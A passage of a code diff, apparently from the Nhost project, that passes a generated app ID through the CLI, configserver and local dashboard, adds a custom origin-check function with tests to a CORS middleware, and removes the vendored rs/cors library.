     			"NEXT_PUBLIC_NHOST_AUTH_URL": URL(
     				subdomain, "auth", httpPort, useTLS) + "/v1",
    @@ -583,6 +585,7 @@ func getServices( //nolint: funlen,cyclop
     	dashboardVersion string,
     	functionsVersion string,
     	configserviceImage string,
    +	appID string,
     	startFunctions bool,
     	runServices ...*RunService,
     ) (map[string]*Service, error) {
    @@ -627,6 +630,7 @@ func getServices( //nolint: funlen,cyclop
     		rootFolder,
     		nhostFolder,
     		projectName,
    +		appID,
     		useTLS,
     		runServices...,
     	)
    @@ -636,7 +640,7 @@ func getServices( //nolint: funlen,cyclop
     
     	services := map[string]*Service{
     		"console":      console,
    -		"dashboard":    dashboard(cfg, subdomain, dashboardVersion, httpPort, useTLS),
    +		"dashboard":    dashboard(cfg, subdomain, dashboardVersion, httpPort, useTLS, appID),
     		"graphql":      graphql,
     		"minio":        minio,
     		"postgres":     postgres,
    @@ -711,7 +715,7 @@ func mountCACertificates(
     	}
     }
     
    -func ComposeFileFromConfig(
    +func ComposeFileFromConfig( //nolint:funlen
     	cfg *model.ConfigConfig,
     	subdomain string,
     	projectName string,
    @@ -726,6 +730,7 @@ func ComposeFileFromConfig(
     	dashboardVersion string,
     	functionsVersion string,
     	configserverImage string,
    +	appID string,
     	startFunctions bool,
     	caCertificatesPath string,
     	runServices ...*RunService,
    @@ -745,6 +750,7 @@ func ComposeFileFromConfig(
     		dashboardVersion,
     		functionsVersion,
     		configserverImage,
    +		appID,
     		startFunctions,
     		runServices...,
     	)
    
  • cli/dockercompose/configserver.go+3 1 modified
    @@ -10,7 +10,8 @@ func configserver( //nolint: funlen
     	image,
     	rootPath,
     	nhostPath,
    -	projectName string,
    +	projectName,
    +	appID string,
     	useTLS bool,
     	runServices ...*RunService,
     ) (*Service, error) {
    @@ -85,6 +86,7 @@ func configserver( //nolint: funlen
     		Environment: map[string]string{
     			"DOCKER_HOST":            dockerEndpoint,
     			"DOCKER_COMPOSE_PROJECT": projectName,
    +			"NHOST_APP_ID":           appID,
     		},
     		ExtraHosts:  []string{},
     		HealthCheck: nil,
    
  • cli/project.nix+2 0 modified
    @@ -32,6 +32,8 @@ let
     
           (and (inDirectory "internal/lib/nhostclient") (matchExt "go"))
     
    +      (and (inDirectory "internal/lib/oapi") (matchExt "go"))
    +
           "${submodule}/cmd/configserver/logsapi/gqlgen.yml"
           "${submodule}/cmd/configserver/logsapi/schema.graphqls"
     
    
  • dashboard/docker-entrypoint.sh+2 0 modified
    @@ -12,6 +12,7 @@ NEXT_PUBLIC_NHOST_HASURA_CONSOLE_URL="${NEXT_PUBLIC_NHOST_HASURA_CONSOLE_URL:-ht
     NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL="${NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL:-http://localhost:9693}"
     NEXT_PUBLIC_NHOST_HASURA_API_URL="${NEXT_PUBLIC_NHOST_HASURA_API_URL:-http://localhost:8080}"
     NEXT_PUBLIC_NHOST_CONFIGSERVER_URL="${NEXT_PUBLIC_NHOST_CONFIGSERVER_URL:-""}"
    +NEXT_PUBLIC_NHOST_APP_ID="${NEXT_PUBLIC_NHOST_APP_ID:-""}"
     
     # replace placeholders
     find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_ADMIN_SECRET__~${NEXT_PUBLIC_NHOST_ADMIN_SECRET}~g" {} +
    @@ -23,5 +24,6 @@ find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_HASURA_CONSOLE_URL_
     find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL__~${NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL}~g" {} +
     find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_HASURA_API_URL__~${NEXT_PUBLIC_NHOST_HASURA_API_URL}~g" {} +
     find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_CONFIGSERVER_URL__~${NEXT_PUBLIC_NHOST_CONFIGSERVER_URL}~g" {} +
    +find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_APP_ID__~${NEXT_PUBLIC_NHOST_APP_ID}~g" {} +
     
     exec "$@"
    
  • dashboard/project.nix+2 0 modified
    @@ -182,6 +182,7 @@ rec {
           export NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL=__NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL__
           export NEXT_PUBLIC_NHOST_HASURA_API_URL=__NEXT_PUBLIC_NHOST_HASURA_API_URL__
           export NEXT_PUBLIC_NHOST_CONFIGSERVER_URL=__NEXT_PUBLIC_NHOST_CONFIGSERVER_URL__
    +      export NEXT_PUBLIC_NHOST_APP_ID=__NEXT_PUBLIC_NHOST_APP_ID__
         '';
     
         buildPhase = ''
    @@ -256,6 +257,7 @@ rec {
                 "NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL=__NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL__"
                 "NEXT_PUBLIC_NHOST_HASURA_API_URL=__NEXT_PUBLIC_NHOST_HASURA_API_URL__"
                 "NEXT_PUBLIC_NHOST_CONFIGSERVER_URL=__NEXT_PUBLIC_NHOST_CONFIGSERVER_URL__"
    +            "NEXT_PUBLIC_NHOST_APP_ID=__NEXT_PUBLIC_NHOST_APP_ID__"
               ];
               Entrypoint = [
                 "${entrypoint}/bin/docker-entrypoint.sh"
    
  • dashboard/src/features/orgs/utils/local-dashboard/index.ts+2 2 modified
    @@ -4,10 +4,10 @@ import {
       type GetProjectQuery,
       Sla_Level_Enum,
     } from '@/utils/__generated__/graphql';
    -import { getHasuraAdminSecret } from '@/utils/env';
    +import { getHasuraAdminSecret, getLocalAppId } from '@/utils/env';
     
     export const localApplication: GetProjectQuery['apps'][0] = {
    -  id: '00000000-0000-0000-0000-000000000000',
    +  id: getLocalAppId(),
       slug: 'local',
       name: 'local',
       appStates: [
    
  • dashboard/src/utils/env/env.ts+19 0 modified
    @@ -124,3 +124,22 @@ export function getLogsWebsocketUrl() {
     export function getDashboardVersion() {
       return process.env.NEXT_PUBLIC_DASHBOARD_VERSION || '0.0.0-dev';
     }
    +
    +const ZERO_UUID = '00000000-0000-0000-0000-000000000000';
    +
    +/**
    + * App ID used by the local dashboard to talk to the CLI-managed configserver.
    + * The CLI generates and persists this UUID per project; the value is
    + * substituted into the Docker image at runtime by docker-entrypoint.sh. When
    + * the value is missing or has not been substituted (e.g. older CLI), we fall
    + * back to the legacy all-zeros UUID.
    + */
    +export function getLocalAppId() {
    +  const appId = process.env.NEXT_PUBLIC_NHOST_APP_ID;
    +
    +  if (!appId || appId.startsWith('__')) {
    +    return ZERO_UUID;
    +  }
    +
    +  return appId;
    +}
    
  • .github/workflows/cli_checks.yaml+3 0 modified
    @@ -27,6 +27,7 @@ on:
           # lib
           - "internal/lib/clidocs/**"
           - "internal/lib/nhostclient/**"
    +      - "internal/lib/oapi/**"
     
           # auth email templates (embedded into the CLI by `nhost init`)
           - "services/auth/email-templates/**"
    @@ -59,6 +60,8 @@ jobs:
             vendor/**
             cli/**
             internal/lib/clidocs/**
    +        internal/lib/nhostclient/**
    +        internal/lib/oapi/**
             services/auth/email-templates/**
             docs/**
     
    
  • go.mod+0 2 modified
    @@ -35,7 +35,6 @@ require (
     	github.com/pb33f/libopenapi v0.21.12
     	github.com/pelletier/go-toml/v2 v2.2.4
     	github.com/pquerna/otp v1.5.0
    -	github.com/rs/cors/wrapper/gin v0.0.0-20240830163046-1084d89a1692
     	github.com/sirupsen/logrus v1.9.4
     	github.com/stretchr/testify v1.11.1
     	github.com/twilio/twilio-go v1.28.3
    @@ -187,7 +186,6 @@ require (
     	github.com/quic-go/qpack v0.6.0 // indirect
     	github.com/quic-go/quic-go v0.57.0 // indirect
     	github.com/rivo/uniseg v0.4.7 // indirect
    -	github.com/rs/cors v1.11.0 // indirect
     	github.com/russross/blackfriday/v2 v2.1.0 // indirect
     	github.com/sergi/go-diff v1.4.0 // indirect
     	github.com/skeema/knownhosts v1.3.2 // indirect
    
  • go.sum+0 4 modified
    @@ -439,10 +439,6 @@ github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
     github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
     github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
     github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc=
    -github.com/rs/cors v1.11.0 h1:0B9GE/r9Bc2UxRMMtymBkHTenPkHDv0CW4Y98GBY+po=
    -github.com/rs/cors v1.11.0/go.mod h1:XyqrcTp5zjWr1wsJ8PIRZssZ8b/WMcMf71DJnit4EMU=
    -github.com/rs/cors/wrapper/gin v0.0.0-20240830163046-1084d89a1692 h1:lwzJgPw5Y6pvC8mwbedX9HfdywUKcpNdcviftZsb1uY=
    -github.com/rs/cors/wrapper/gin v0.0.0-20240830163046-1084d89a1692/go.mod h1:742Ialb8SOs5yB2PqRDzFcyND3280PoaS5/wcKQUQKE=
     github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
     github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
     github.com/sergi/go-diff v1.4.0 h1:n/SP9D5ad1fORl+llWyN+D6qoUETXNZARKjyY2/KVCw=
    
  • internal/lib/oapi/middleware/cors.go+36 5 modified
    @@ -10,13 +10,26 @@ import (
     
     // CORSOptions configures the CORS middleware behavior.
     //
    -// The middleware supports three strategies for handling Access-Control-Allow-Headers:
    +// The middleware supports several strategies for gating Access-Control-Allow-Origin:
    +//   - AllowOriginFunc non-nil: the function decides; AllowedOrigins is ignored.
    +//   - AllowedOrigins nil: all origins allowed.
    +//   - AllowedOrigins contains "*": all origins allowed.
    +//   - AllowedOrigins non-empty: only listed origins allowed.
    +//   - AllowedOrigins empty slice: all origins denied.
    +//
    +// And three strategies for handling Access-Control-Allow-Headers:
     //   - nil (default): Reflects the Access-Control-Request-Headers from the client
     //   - empty slice: Denies all headers (no Access-Control-Allow-Headers header is set)
     //   - non-empty slice: Uses the specified headers
     type CORSOptions struct {
    +	// AllowOriginFunc, when non-nil, is consulted to decide whether an origin
    +	// is allowed. It takes precedence over AllowedOrigins. Use this when the
    +	// allowed origins are not a fixed enumerable list (e.g. a regex-matched
    +	// pattern).
    +	AllowOriginFunc func(origin string) bool
    +
     	// AllowedOrigins is a list of origins permitted to make cross-origin requests.
    -	// Use "*" or nil slice to allow all origins.
    +	// Use "*" or nil slice to allow all origins. Ignored when AllowOriginFunc is set.
     	AllowedOrigins []string
     
     	// AllowedMethods is a list of HTTP methods the client is permitted to use.
    @@ -84,10 +97,10 @@ func CORS(opts CORSOptions) gin.HandlerFunc { //nolint:cyclop,funlen
     		allowedHeaders = strings.Join(opts.AllowedHeaders, ", ")
     	}
     
    +	originAllowed := allowOriginFunc(opts)
    +
     	f := func(c *gin.Context, origin string) {
    -		if opts.AllowedOrigins != nil &&
    -			!slices.Contains(opts.AllowedOrigins, origin) &&
    -			!slices.Contains(opts.AllowedOrigins, "*") {
    +		if !originAllowed(origin) {
     			return
     		}
     
    @@ -138,3 +151,21 @@ func CORS(opts CORSOptions) gin.HandlerFunc { //nolint:cyclop,funlen
     		c.Next()
     	}
     }
    +
    +// allowOriginFunc picks an origin-check strategy once at construction time
    +// and returns a closure that the per-request path can call without re-doing
    +// the strategy switch (or scanning AllowedOrigins for "*") on every request.
    +func allowOriginFunc(opts CORSOptions) func(origin string) bool {
    +	switch {
    +	case opts.AllowOriginFunc != nil:
    +		return opts.AllowOriginFunc
    +	case opts.AllowedOrigins == nil, slices.Contains(opts.AllowedOrigins, "*"):
    +		return func(string) bool { return true }
    +	default:
    +		allowed := opts.AllowedOrigins
    +
    +		return func(origin string) bool {
    +			return slices.Contains(allowed, origin)
    +		}
    +	}
    +}
    
  • internal/lib/oapi/middleware/cors_test.go+50 0 modified
    @@ -3,6 +3,7 @@ package middleware_test
     import (
     	"net/http"
     	"net/http/httptest"
    +	"strings"
     	"testing"
     
     	"github.com/gin-gonic/gin"
    @@ -264,6 +265,55 @@ func TestCORS(t *testing.T) { //nolint:maintidx
     			},
     			expectNext: true,
     		},
    +		{
    +			name: "AllowOriginFunc accepts matching origin",
    +			opts: middleware.CORSOptions{ //nolint:exhaustruct
    +				AllowOriginFunc: func(origin string) bool {
    +					return strings.HasSuffix(origin, ".example.com")
    +				},
    +				AllowedMethods: []string{"GET"},
    +			},
    +			requestMethod:  "GET",
    +			requestOrigin:  "https://app.example.com",
    +			requestHeaders: map[string]string{},
    +			wantStatus:     http.StatusOK,
    +			wantHeaders: http.Header{
    +				"Access-Control-Allow-Origin": []string{"https://app.example.com"},
    +			},
    +			expectNext: true,
    +		},
    +		{
    +			name: "AllowOriginFunc rejects non-matching origin",
    +			opts: middleware.CORSOptions{ //nolint:exhaustruct
    +				AllowOriginFunc: func(origin string) bool {
    +					return strings.HasSuffix(origin, ".example.com")
    +				},
    +				AllowedMethods: []string{"GET"},
    +			},
    +			requestMethod:  "GET",
    +			requestOrigin:  "https://malicious.com",
    +			requestHeaders: map[string]string{},
    +			wantStatus:     http.StatusOK,
    +			wantHeaders:    http.Header{},
    +			expectNext:     true,
    +		},
    +		{
    +			name: "AllowOriginFunc takes precedence over AllowedOrigins",
    +			opts: middleware.CORSOptions{ //nolint:exhaustruct
    +				// AllowedOrigins would deny everything, but AllowOriginFunc accepts.
    +				AllowedOrigins:  []string{"https://different.com"},
    +				AllowOriginFunc: func(_ string) bool { return true },
    +				AllowedMethods:  []string{"GET"},
    +			},
    +			requestMethod:  "GET",
    +			requestOrigin:  "https://anything.com",
    +			requestHeaders: map[string]string{},
    +			wantStatus:     http.StatusOK,
    +			wantHeaders: http.Header{
    +				"Access-Control-Allow-Origin": []string{"https://anything.com"},
    +			},
    +			expectNext: true,
    +		},
     	}
     
     	for _, tc := range cases {
    
  • services/auth/go/cmd/serve.go+1 0 modified
    @@ -1371,6 +1371,7 @@ func getDependencies( //nolint:ireturn
     
     func getCORSOptions() oapimw.CORSOptions {
     	return oapimw.CORSOptions{
    +		AllowOriginFunc:  nil,
     		AllowedOrigins:   []string{"*"},
     		AllowedMethods:   []string{"POST", "GET"},
     		AllowedHeaders:   nil,
    
  • services/storage/cmd/serve.go+3 2 modified
    @@ -61,8 +61,9 @@ const (
     
     func getCORSOptions(cmd *cli.Command) oapimw.CORSOptions {
     	return oapimw.CORSOptions{
    -		AllowedOrigins: cmd.StringSlice(flagCorsAllowOrigins),
    -		AllowedMethods: []string{"GET", "PUT", "POST", "HEAD", "DELETE"},
    +		AllowOriginFunc: nil,
    +		AllowedOrigins:  cmd.StringSlice(flagCorsAllowOrigins),
    +		AllowedMethods:  []string{"GET", "PUT", "POST", "HEAD", "DELETE"},
     		AllowedHeaders: []string{
     			"Authorization", "Origin", "if-match", "if-none-match", "if-modified-since", "if-unmodified-since",
     			"x-hasura-admin-secret", "x-nhost-bucket-id", "x-nhost-file-name", "x-nhost-file-id",
    
  • vendor/github.com/rs/cors/cors.go+0 502 removed
    @@ -1,502 +0,0 @@
    -/*
    -Package cors is net/http handler to handle CORS related requests
    -as defined by http://www.w3.org/TR/cors/
    -
    -You can configure it by passing an option struct to cors.New:
    -
    -	c := cors.New(cors.Options{
    -	    AllowedOrigins:   []string{"foo.com"},
    -	    AllowedMethods:   []string{http.MethodGet, http.MethodPost, http.MethodDelete},
    -	    AllowCredentials: true,
    -	})
    -
    -Then insert the handler in the chain:
    -
    -	handler = c.Handler(handler)
    -
    -See Options documentation for more options.
    -
    -The resulting handler is a standard net/http handler.
    -*/
    -package cors
    -
    -import (
    -	"log"
    -	"net/http"
    -	"os"
    -	"strconv"
    -	"strings"
    -
    -	"github.com/rs/cors/internal"
    -)
    -
    -var headerVaryOrigin = []string{"Origin"}
    -var headerOriginAll = []string{"*"}
    -var headerTrue = []string{"true"}
    -
    -// Options is a configuration container to setup the CORS middleware.
    -type Options struct {
    -	// AllowedOrigins is a list of origins a cross-domain request can be executed from.
    -	// If the special "*" value is present in the list, all origins will be allowed.
    -	// An origin may contain a wildcard (*) to replace 0 or more characters
    -	// (i.e.: http://*.domain.com). Usage of wildcards implies a small performance penalty.
    -	// Only one wildcard can be used per origin.
    -	// Default value is ["*"]
    -	AllowedOrigins []string
    -	// AllowOriginFunc is a custom function to validate the origin. It take the
    -	// origin as argument and returns true if allowed or false otherwise. If
    -	// this option is set, the content of `AllowedOrigins` is ignored.
    -	AllowOriginFunc func(origin string) bool
    -	// AllowOriginRequestFunc is a custom function to validate the origin. It
    -	// takes the HTTP Request object and the origin as argument and returns true
    -	// if allowed or false otherwise. If headers are used take the decision,
    -	// consider using AllowOriginVaryRequestFunc instead. If this option is set,
    -	// the contents of `AllowedOrigins`, `AllowOriginFunc` are ignored.
    -	//
    -	// Deprecated: use `AllowOriginVaryRequestFunc` instead.
    -	AllowOriginRequestFunc func(r *http.Request, origin string) bool
    -	// AllowOriginVaryRequestFunc is a custom function to validate the origin.
    -	// It takes the HTTP Request object and the origin as argument and returns
    -	// true if allowed or false otherwise with a list of headers used to take
    -	// that decision if any so they can be added to the Vary header. If this
    -	// option is set, the contents of `AllowedOrigins`, `AllowOriginFunc` and
    -	// `AllowOriginRequestFunc` are ignored.
    -	AllowOriginVaryRequestFunc func(r *http.Request, origin string) (bool, []string)
    -	// AllowedMethods is a list of methods the client is allowed to use with
    -	// cross-domain requests. Default value is simple methods (HEAD, GET and POST).
    -	AllowedMethods []string
    -	// AllowedHeaders is list of non simple headers the client is allowed to use with
    -	// cross-domain requests.
    -	// If the special "*" value is present in the list, all headers will be allowed.
    -	// Default value is [].
    -	AllowedHeaders []string
    -	// ExposedHeaders indicates which headers are safe to expose to the API of a CORS
    -	// API specification
    -	ExposedHeaders []string
    -	// MaxAge indicates how long (in seconds) the results of a preflight request
    -	// can be cached. Default value is 0, which stands for no
    -	// Access-Control-Max-Age header to be sent back, resulting in browsers
    -	// using their default value (5s by spec). If you need to force a 0 max-age,
    -	// set `MaxAge` to a negative value (ie: -1).
    -	MaxAge int
    -	// AllowCredentials indicates whether the request can include user credentials like
    -	// cookies, HTTP authentication or client side SSL certificates.
    -	AllowCredentials bool
    -	// AllowPrivateNetwork indicates whether to accept cross-origin requests over a
    -	// private network.
    -	AllowPrivateNetwork bool
    -	// OptionsPassthrough instructs preflight to let other potential next handlers to
    -	// process the OPTIONS method. Turn this on if your application handles OPTIONS.
    -	OptionsPassthrough bool
    -	// Provides a status code to use for successful OPTIONS requests.
    -	// Default value is http.StatusNoContent (204).
    -	OptionsSuccessStatus int
    -	// Debugging flag adds additional output to debug server side CORS issues
    -	Debug bool
    -	// Adds a custom logger, implies Debug is true
    -	Logger Logger
    -}
    -
    -// Logger generic interface for logger
    -type Logger interface {
    -	Printf(string, ...interface{})
    -}
    -
    -// Cors http handler
    -type Cors struct {
    -	// Debug logger
    -	Log Logger
    -	// Normalized list of plain allowed origins
    -	allowedOrigins []string
    -	// List of allowed origins containing wildcards
    -	allowedWOrigins []wildcard
    -	// Optional origin validator function
    -	allowOriginFunc func(r *http.Request, origin string) (bool, []string)
    -	// Normalized list of allowed headers
    -	// Note: the Fetch standard guarantees that CORS-unsafe request-header names
    -	// (i.e. the values listed in the Access-Control-Request-Headers header)
    -	// are unique and sorted;
    -	// see https://fetch.spec.whatwg.org/#cors-unsafe-request-header-names.
    -	allowedHeaders internal.SortedSet
    -	// Normalized list of allowed methods
    -	allowedMethods []string
    -	// Pre-computed normalized list of exposed headers
    -	exposedHeaders []string
    -	// Pre-computed maxAge header value
    -	maxAge []string
    -	// Set to true when allowed origins contains a "*"
    -	allowedOriginsAll bool
    -	// Set to true when allowed headers contains a "*"
    -	allowedHeadersAll bool
    -	// Status code to use for successful OPTIONS requests
    -	optionsSuccessStatus int
    -	allowCredentials     bool
    -	allowPrivateNetwork  bool
    -	optionPassthrough    bool
    -	preflightVary        []string
    -}
    -
    -// New creates a new Cors handler with the provided options.
    -func New(options Options) *Cors {
    -	c := &Cors{
    -		allowCredentials:    options.AllowCredentials,
    -		allowPrivateNetwork: options.AllowPrivateNetwork,
    -		optionPassthrough:   options.OptionsPassthrough,
    -		Log:                 options.Logger,
    -	}
    -	if options.Debug && c.Log == nil {
    -		c.Log = log.New(os.Stdout, "[cors] ", log.LstdFlags)
    -	}
    -
    -	// Allowed origins
    -	switch {
    -	case options.AllowOriginVaryRequestFunc != nil:
    -		c.allowOriginFunc = options.AllowOriginVaryRequestFunc
    -	case options.AllowOriginRequestFunc != nil:
    -		c.allowOriginFunc = func(r *http.Request, origin string) (bool, []string) {
    -			return options.AllowOriginRequestFunc(r, origin), nil
    -		}
    -	case options.AllowOriginFunc != nil:
    -		c.allowOriginFunc = func(r *http.Request, origin string) (bool, []string) {
    -			return options.AllowOriginFunc(origin), nil
    -		}
    -	case len(options.AllowedOrigins) == 0:
    -		if c.allowOriginFunc == nil {
    -			// Default is all origins
    -			c.allowedOriginsAll = true
    -		}
    -	default:
    -		c.allowedOrigins = []string{}
    -		c.allowedWOrigins = []wildcard{}
    -		for _, origin := range options.AllowedOrigins {
    -			// Note: for origins matching, the spec requires a case-sensitive matching.
    -			// As it may error prone, we chose to ignore the spec here.
    -			origin = strings.ToLower(origin)
    -			if origin == "*" {
    -				// If "*" is present in the list, turn the whole list into a match all
    -				c.allowedOriginsAll = true
    -				c.allowedOrigins = nil
    -				c.allowedWOrigins = nil
    -				break
    -			} else if i := strings.IndexByte(origin, '*'); i >= 0 {
    -				// Split the origin in two: start and end string without the *
    -				w := wildcard{origin[0:i], origin[i+1:]}
    -				c.allowedWOrigins = append(c.allowedWOrigins, w)
    -			} else {
    -				c.allowedOrigins = append(c.allowedOrigins, origin)
    -			}
    -		}
    -	}
    -
    -	// Allowed Headers
    -	// Note: the Fetch standard guarantees that CORS-unsafe request-header names
    -	// (i.e. the values listed in the Access-Control-Request-Headers header)
    -	// are lowercase; see https://fetch.spec.whatwg.org/#cors-unsafe-request-header-names.
    -	if len(options.AllowedHeaders) == 0 {
    -		// Use sensible defaults
    -		c.allowedHeaders = internal.NewSortedSet("accept", "content-type", "x-requested-with")
    -	} else {
    -		normalized := convert(options.AllowedHeaders, strings.ToLower)
    -		c.allowedHeaders = internal.NewSortedSet(normalized...)
    -		for _, h := range options.AllowedHeaders {
    -			if h == "*" {
    -				c.allowedHeadersAll = true
    -				c.allowedHeaders = internal.SortedSet{}
    -				break
    -			}
    -		}
    -	}
    -
    -	// Allowed Methods
    -	if len(options.AllowedMethods) == 0 {
    -		// Default is spec's "simple" methods
    -		c.allowedMethods = []string{http.MethodGet, http.MethodPost, http.MethodHead}
    -	} else {
    -		c.allowedMethods = options.AllowedMethods
    -	}
    -
    -	// Options Success Status Code
    -	if options.OptionsSuccessStatus == 0 {
    -		c.optionsSuccessStatus = http.StatusNoContent
    -	} else {
    -		c.optionsSuccessStatus = options.OptionsSuccessStatus
    -	}
    -
    -	// Pre-compute exposed headers header value
    -	if len(options.ExposedHeaders) > 0 {
    -		c.exposedHeaders = []string{strings.Join(convert(options.ExposedHeaders, http.CanonicalHeaderKey), ", ")}
    -	}
    -
    -	// Pre-compute prefight Vary header to save allocations
    -	if c.allowPrivateNetwork {
    -		c.preflightVary = []string{"Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Request-Private-Network"}
    -	} else {
    -		c.preflightVary = []string{"Origin, Access-Control-Request-Method, Access-Control-Request-Headers"}
    -	}
    -
    -	// Precompute max-age
    -	if options.MaxAge > 0 {
    -		c.maxAge = []string{strconv.Itoa(options.MaxAge)}
    -	} else if options.MaxAge < 0 {
    -		c.maxAge = []string{"0"}
    -	}
    -
    -	return c
    -}
    -
    -// Default creates a new Cors handler with default options.
    -func Default() *Cors {
    -	return New(Options{})
    -}
    -
    -// AllowAll create a new Cors handler with permissive configuration allowing all
    -// origins with all standard methods with any header and credentials.
    -func AllowAll() *Cors {
    -	return New(Options{
    -		AllowedOrigins: []string{"*"},
    -		AllowedMethods: []string{
    -			http.MethodHead,
    -			http.MethodGet,
    -			http.MethodPost,
    -			http.MethodPut,
    -			http.MethodPatch,
    -			http.MethodDelete,
    -		},
    -		AllowedHeaders:   []string{"*"},
    -		AllowCredentials: false,
    -	})
    -}
    -
    -// Handler apply the CORS specification on the request, and add relevant CORS headers
    -// as necessary.
    -func (c *Cors) Handler(h http.Handler) http.Handler {
    -	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    -		if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" {
    -			c.logf("Handler: Preflight request")
    -			c.handlePreflight(w, r)
    -			// Preflight requests are standalone and should stop the chain as some other
    -			// middleware may not handle OPTIONS requests correctly. One typical example
    -			// is authentication middleware ; OPTIONS requests won't carry authentication
    -			// headers (see #1)
    -			if c.optionPassthrough {
    -				h.ServeHTTP(w, r)
    -			} else {
    -				w.WriteHeader(c.optionsSuccessStatus)
    -			}
    -		} else {
    -			c.logf("Handler: Actual request")
    -			c.handleActualRequest(w, r)
    -			h.ServeHTTP(w, r)
    -		}
    -	})
    -}
    -
    -// HandlerFunc provides Martini compatible handler
    -func (c *Cors) HandlerFunc(w http.ResponseWriter, r *http.Request) {
    -	if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" {
    -		c.logf("HandlerFunc: Preflight request")
    -		c.handlePreflight(w, r)
    -
    -		w.WriteHeader(c.optionsSuccessStatus)
    -	} else {
    -		c.logf("HandlerFunc: Actual request")
    -		c.handleActualRequest(w, r)
    -	}
    -}
    -
    -// Negroni compatible interface
    -func (c *Cors) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {
    -	if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" {
    -		c.logf("ServeHTTP: Preflight request")
    -		c.handlePreflight(w, r)
    -		// Preflight requests are standalone and should stop the chain as some other
    -		// middleware may not handle OPTIONS requests correctly. One typical example
    -		// is authentication middleware ; OPTIONS requests won't carry authentication
    -		// headers (see #1)
    -		if c.optionPassthrough {
    -			next(w, r)
    -		} else {
    -			w.WriteHeader(c.optionsSuccessStatus)
    -		}
    -	} else {
    -		c.logf("ServeHTTP: Actual request")
    -		c.handleActualRequest(w, r)
    -		next(w, r)
    -	}
    -}
    -
    -// handlePreflight handles pre-flight CORS requests
    -func (c *Cors) handlePreflight(w http.ResponseWriter, r *http.Request) {
    -	headers := w.Header()
    -	origin := r.Header.Get("Origin")
    -
    -	if r.Method != http.MethodOptions {
    -		c.logf("  Preflight aborted: %s!=OPTIONS", r.Method)
    -		return
    -	}
    -	// Always set Vary headers
    -	// see https://github.com/rs/cors/issues/10,
    -	//     https://github.com/rs/cors/commit/dbdca4d95feaa7511a46e6f1efb3b3aa505bc43f#commitcomment-12352001
    -	if vary, found := headers["Vary"]; found {
    -		headers["Vary"] = append(vary, c.preflightVary[0])
    -	} else {
    -		headers["Vary"] = c.preflightVary
    -	}
    -	allowed, additionalVaryHeaders := c.isOriginAllowed(r, origin)
    -	if len(additionalVaryHeaders) > 0 {
    -		headers.Add("Vary", strings.Join(convert(additionalVaryHeaders, http.CanonicalHeaderKey), ", "))
    -	}
    -
    -	if origin == "" {
    -		c.logf("  Preflight aborted: empty origin")
    -		return
    -	}
    -	if !allowed {
    -		c.logf("  Preflight aborted: origin '%s' not allowed", origin)
    -		return
    -	}
    -
    -	reqMethod := r.Header.Get("Access-Control-Request-Method")
    -	if !c.isMethodAllowed(reqMethod) {
    -		c.logf("  Preflight aborted: method '%s' not allowed", reqMethod)
    -		return
    -	}
    -	// Note: the Fetch standard guarantees that at most one
    -	// Access-Control-Request-Headers header is present in the preflight request;
    -	// see step 5.2 in https://fetch.spec.whatwg.org/#cors-preflight-fetch-0.
    -	reqHeaders, found := first(r.Header, "Access-Control-Request-Headers")
    -	if found && !c.allowedHeadersAll && !c.allowedHeaders.Subsumes(reqHeaders[0]) {
    -		c.logf("  Preflight aborted: headers '%v' not allowed", reqHeaders[0])
    -		return
    -	}
    -	if c.allowedOriginsAll {
    -		headers["Access-Control-Allow-Origin"] = headerOriginAll
    -	} else {
    -		headers["Access-Control-Allow-Origin"] = r.Header["Origin"]
    -	}
    -	// Spec says: Since the list of methods can be unbounded, simply returning the method indicated
    -	// by Access-Control-Request-Method (if supported) can be enough
    -	headers["Access-Control-Allow-Methods"] = r.Header["Access-Control-Request-Method"]
    -	if found && len(reqHeaders[0]) > 0 {
    -		// Spec says: Since the list of headers can be unbounded, simply returning supported headers
    -		// from Access-Control-Request-Headers can be enough
    -		headers["Access-Control-Allow-Headers"] = reqHeaders
    -	}
    -	if c.allowCredentials {
    -		headers["Access-Control-Allow-Credentials"] = headerTrue
    -	}
    -	if c.allowPrivateNetwork && r.Header.Get("Access-Control-Request-Private-Network") == "true" {
    -		headers["Access-Control-Allow-Private-Network"] = headerTrue
    -	}
    -	if len(c.maxAge) > 0 {
    -		headers["Access-Control-Max-Age"] = c.maxAge
    -	}
    -	if c.Log != nil {
    -		c.logf("  Preflight response headers: %v", headers)
    -	}
    -}
    -
    -// handleActualRequest handles simple cross-origin requests, actual request or redirects
    -func (c *Cors) handleActualRequest(w http.ResponseWriter, r *http.Request) {
    -	headers := w.Header()
